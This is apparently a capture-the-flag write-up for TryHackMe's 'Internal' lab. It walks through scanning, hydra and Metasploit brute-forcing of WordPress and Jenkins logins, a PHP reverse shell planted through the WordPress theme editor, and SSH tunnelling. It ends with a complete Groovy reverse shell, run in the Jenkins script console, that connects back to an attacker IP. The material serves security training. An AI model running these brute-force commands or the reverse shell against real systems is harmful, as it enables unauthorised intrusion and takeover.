Internal machine | TryHackMe
This is the process I took to complete the Internal machine of TryHackMe.
With this machine you'll practice the following skills:
- SSH tunnels
- Getting Jenkins credentials
- Getting access to a docker container
Scanning
First we'll start by using nmap to scan the ports:
sudo nmap -sV -sC [IP]
This will output the following:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6efaefbef65f98b9597bf78eb9c5621e (RSA)
| 256 ed64ed33e5c93058ba23040d14eb30e9 (ECDSA)
|_ 256 b07f7f7b5262622a60d43d36fa89eeff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:E7:25:FB:D9:A1 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
If we visit that http page we'll get an Apache page

Gobuster
To enumerate the http page, we'll use gobuster to find more directories under that web page:
gobuster dir --url http://[IP] --wordlist /usr/share/wordlists/dirb/common.txt
This will output the following:
===============================================================
[+] Url: http://10.10.213.171
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===============================================================
2023/07/21 22:35:29 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/blog (Status: 301) [Size: 313] [--> http://10.10.213.171/blog/]
/index.html (Status: 200) [Size: 10918]
/javascript (Status: 301) [Size: 319] [--> http://10.10.213.171/javascript/]
/phpmyadmin (Status: 301) [Size: 319] [--> http://10.10.213.171/phpmyadmin/]
/server-status (Status: 403) [Size: 278]
/wordpress (Status: 301) [Size: 318] [--> http://10.10.213.171/wordpress/]
As we can see we have a directory called 'blog'. Try visiting it and you'll realize that it looks weird, like it doesn't load the style sheets. To fix this we must add the 'internal.thm' domain name to our hosts file. To do this just open the '/etc/hosts' file with your favorite text editor and add a new line to it with the following structure:
[IP] [Domain-name]
Mine looks like this:

Now try visit the page and you'll see it looks so much better.

Taking a look at the page you'll find a log in page. If you common default credentials (admin:admin) you'll see that, although we don't have a succesful login, Wordpress outputs the following message:

This is a common error on Wordpress that may seem normal but in fact, it doesn't tell us that the username is incorrect, it just tells that the password is incorrect; so this means that 'admin' is a valid username to access the Wordpress CMS.
Getting Access
Now that we have a way to get our first foot-hold into the machine, lets try get it, in this time we'll use hydra to brute force the wordpress login page. Try using the following command:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.149.120 http-post-form "/blog/wp-login.php:log=^USER^&pwd=^PASS^:The password you entered for the username" -v
After some minutes you'll be prompted with the credentials. (I'm not allowed to show them)
Reverse shell
Once logged in, we must find a way to get a reverse shell. A common way to get reverse shell on wordpress is by using the theme editor tab.
The theme editor tab allows to change the code of the pages running on the web page; some of these pages are using PHP, so we can change the code of one of these pages to one of a PHP reverse shell, and visit that page to get the code executed.
In this case I used the php-reverse-shell code on the index.php page and follow the next steps:


Now we have access to the www-data service account. If you do some manual enumeration to escalate our privileges, you'll find a file containing credentials on it (I'll let you find it).
After you get those credentials you can use them to connect to SSH:
Privilege escalation
Having access to a user account on the machine, you can use an automated tool to look for Privilege Escalation vectors or you can do some manual enumeration; in both cases you'll find out that there is an internal docker container running Jenkins with IP 172.17.0.2 on port 8080.
SSH tunnel
When a service running on a machine, cannot be accessed from the outside, but we have access to that machine through SSH, we can expose that service to our attacking machine using a SSH tunnel(Also known as SSH port forwarding). To do this, try using the following command:
ssh -L 1000:172.17.0.2:8080 aubreanna@internal.thm
After login in with the ssh command, try visiting the 127.0.0.1:1000 IP and you'll get the following page:

Now we have access to the Jenkins running on the docker container.
Getting access to Jenkins
To get access to Jenkins was a little tricky for me. I tried to brute force with a wordlist using hydra many times but never worked out, after that I found that that theres a module on metasploit to brute force it:
Metasploit
The module you need to use is: auxiliary/scanner/http/jenkins_login. Some options you need to set may be different than mine depending on how you executed the SSH tunnel, but the username must be 'admin'.
- USERNAME: admin
- RHOSTS: 127.0.0.1
- RPORT: 1000
- PASS_FILE: /usr/share/wordlists/rockyou.txt
After some seconds you'll be prompted with the credentials(I'm not allowed to show them):

Reverse shell with Jenkins
Now that we have access to Jenkins, we can get another reverse shell to get access to the docker container. One way to do this is by using the Script console feature and executing a Groovy reverse shell on it. I used the following code to get the reverse shell:
String host="10.10.8.46";
int port=5555;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
With this you'll get access to the Jenkins container, and from here, you'll find a file containing the root credentials after doing some manual enumeration:
